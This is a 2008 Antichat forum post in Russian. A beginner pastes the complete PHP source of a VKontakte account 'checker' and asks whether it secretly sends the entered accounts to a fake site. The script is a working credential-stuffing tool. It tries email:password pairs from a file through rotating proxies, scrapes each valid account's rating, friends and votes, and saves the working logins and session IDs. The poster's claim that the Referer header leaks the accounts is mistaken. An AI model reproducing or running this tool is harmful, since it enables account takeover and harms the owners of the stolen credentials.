Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

03.12.2008, 15:55
|
|
Новичок
Регистрация: 12.09.2008
Сообщений: 25
Провел на форуме: 193489
Репутация:
63
|
|
Подтвердите мою догатку!
Код:
<?php /* (c) Isis, http://vpleer.ru, All rights reserved :) [11.10.2008] */ set_time_limit(0); //Config $savetofile = true; $rate = '0'; $friends = '0'; $votes = '0'; $fileacc = 'acc.txt'; $filevalid = 'valid.txt'; //CHMOD 777 $filevotes = 'votes.txt'; //CHMOD 777 $filerates = 'rates.txt'; //CHMOD 777 $fp = file($fileacc); $count = count($fp); $url = 'http://login.userapi.com/auth.php'; echo '<style type="text/css"> a {text-decoration:none;color:#000;} td {border:1px solid black;} .ncc {background:#36638E none repeat scroll 0 0;color:#FFFFFF;display:block;padding:3px 8px;} </style>'; echo 'Настройки:<br/> <form method="post"> <input type="checkbox" name="rating" checked="checked"/>Сохранить пользователей с рейтингом > 100% в отдельный файл<br/> <input type="checkbox" name="friend" checked="checked"/>Сохранить пользователей с друзьями более 100 в отдельный файл<br/> <input type="checkbox" name="vote" checked="checked"/>Сохранить пользователей с неисп.голосами в отдельный файл<br/> <input type="checkbox" name="proxy" checked="checked"/>Использовать прокси<br/> <input class="ncc" type="submit" name="start" value="Старт"/> </form>'; if(isset($_POST['rating'])) $rating = true; else $rating = false; if(isset($_POST['friend'])) $friend = true; else $friend = false; if(isset($_POST['vote'])) $vote = true; else $vote = false; if(isset($_POST['proxy'])) $proxy = true; else $proxy = false; if(isset($_POST['start'])) { echo '<table><tr><td>Email</td><td>Password</td><td>Id</td>'; if($rating) { echo '<td>Rating</td>'; $fs = fopen($filerates, 'a'); } if($friend) { echo '<td>Friends</td>'; } if($vote) { echo '<td>Votes</td>'; $fr = fopen($filevotes, 'a'); } echo '</tr>'; $b = $k = 0; for($i = 0;$i < $count;$i++) { $fp = file($fileacc); $str = trim($fp[$i]); $str2 = explode(':', $str); $mail = $str2[0]; $pass = $str2[1]; $pfile = file('proxy.txt'); $cookie = 'sid=-1;'; $post = 'site=2&id=0&fccode=0&fcsid=0&login=force&email='.$mail.'&pass='.$pass; if($ct = curl_init($url)) { curl_setopt($ct, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ct, CURLOPT_HEADER, 1); curl_setopt($ct, CURLOPT_REFERER, 'http://durov.ru/login.html'); curl_setopt($ct, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3'); curl_setopt($ct, CURLOPT_COOKIE, $cookie); if($proxy) { $proxys = $pfile[$b]; curl_setopt ($ct , CURLOPT_PROXY, $proxys); } if($k > 2) { $b++; if($b > count($pfile)) $b = 0; } curl_setopt($ct, CURLOPT_POST, 1); curl_setopt($ct, CURLOPT_POSTFIELDS, $post); $cont = curl_exec($ct) or curl_error($ct); curl_close($ct); flush(); if(strpos($cont, 'sid=-1') === false || strpos($cont, 'sid=-2') === false || strpos($cont, 'sid=-4') === false) { $id = (preg_match('#Set-Cookie: remixmid=(.*?);#', $cont, $idi)) ? $idi[1] : '' ; $rsid = (preg_match('#Set-Cookie: remixpassword=(.*?);#', $cont, $rsidi)) ? $rsidi[1] : '' ; if(!empty($id)) { $cook = 'remixsid='.$rsid.';remixchk=5;remixlang=0;remixemail='.$mail.';remixpass='.md5($pass).';remixmid='.$id; $urli = 'http://vkontakte.ru/profile.php'; $cp = curl_init($urli); curl_setopt($cp, CURLOPT_RETURNTRANSFER, 1); curl_setopt($cp, CURLOPT_HEADER, 1); curl_setopt($cp, CURLOPT_REFERER, 'http://vkontakte.ru/id'.$id); curl_setopt($cp, CURLOPT_USERAGENT, 'User-Agent: User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.11) Gecko/20071127 Firefox/3.0.0.3'); curl_setopt($cp, CURLOPT_COOKIE, $cook); $rcont = curl_exec($cp); curl_close($cp); if(strpos($rcont, 'Страница удалена') === false) { echo '<tr>'; $return = '<td>'.$mail.'</td><td>'.$pass.'</td><td>'.$id.'</td>'; if($rating) { if(preg_match('#<div id="percentGold">(.*?)</div>#', $rcont, $rat)) { $rate = $rat[1]; fwrite($fs, $mail.':'.$pass.':'.$id."\r\n"); $return .= '<td style="background-color:#e0d7a3;">'.$rate.'</td>'; } else if(preg_match('#<div id="percent">([0-9]+)%</div>#', $rcont, $rat)) { $rate = $rat[1]; $return .= '<td>'.$rate.'</td>'; } } if($friend) { $friends = (preg_match('#<h2>Друзья <span>\(([0-9]+)\)</span></h2>#', $rcont, $fri)) ? $fri[1] : '0' ; $return .= '<td>'.$friends.'</td>'; } if($vote) { $votes = (preg_match('#У Вас <b>([0-9]+)</b> неисп#', $rcont, $vot)) ? $vot[1] : '0' ; $fvote = file_get_contents($filevotes); if($votes > 0 && strpos($fvote, $mail.':'.$pass.':'.$id) === false) { fwrite($fr, $mail.':'.$pass.':'.$id."\r\n"); fclose($fr); } $return .= '<td>'.$votes.'</td>'; } echo $return.'</tr>'; } if($savetofile) { $fvalid = file_get_contents($filevalid); if(strpos($fvalid, $mail.':'.$pass.':'.$id) === false) { $fd = fopen($filevalid, 'a'); fwrite($fd, $mail.':'.$pass.':'.$id.':'.$rsid."\r\n"); fclose($fd); } } } } $k++; } flush(); } } ?>
Скачал этот чикер для того что бы посмотреть как что люди делают Но вот первый взгляд на код и заметел непонятный кусок кода!!
Код:
curl_setopt($ct, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ct, CURLOPT_HEADER, 1);
curl_setopt($ct, CURLOPT_REFERER, 'http://durov.ru/login.html');
curl_setopt($ct, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3');
curl_setopt($ct, CURLOPT_COOKIE, $cookie);
if($proxy)
Это значит что все акки что я ввожу уходят на эту страницу. ФЕЙК Я прав??
Извеняюсь за тупой вопрос но я всего лишь учусь
Последний раз редактировалось троль909; 03.12.2008 в 15:59..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|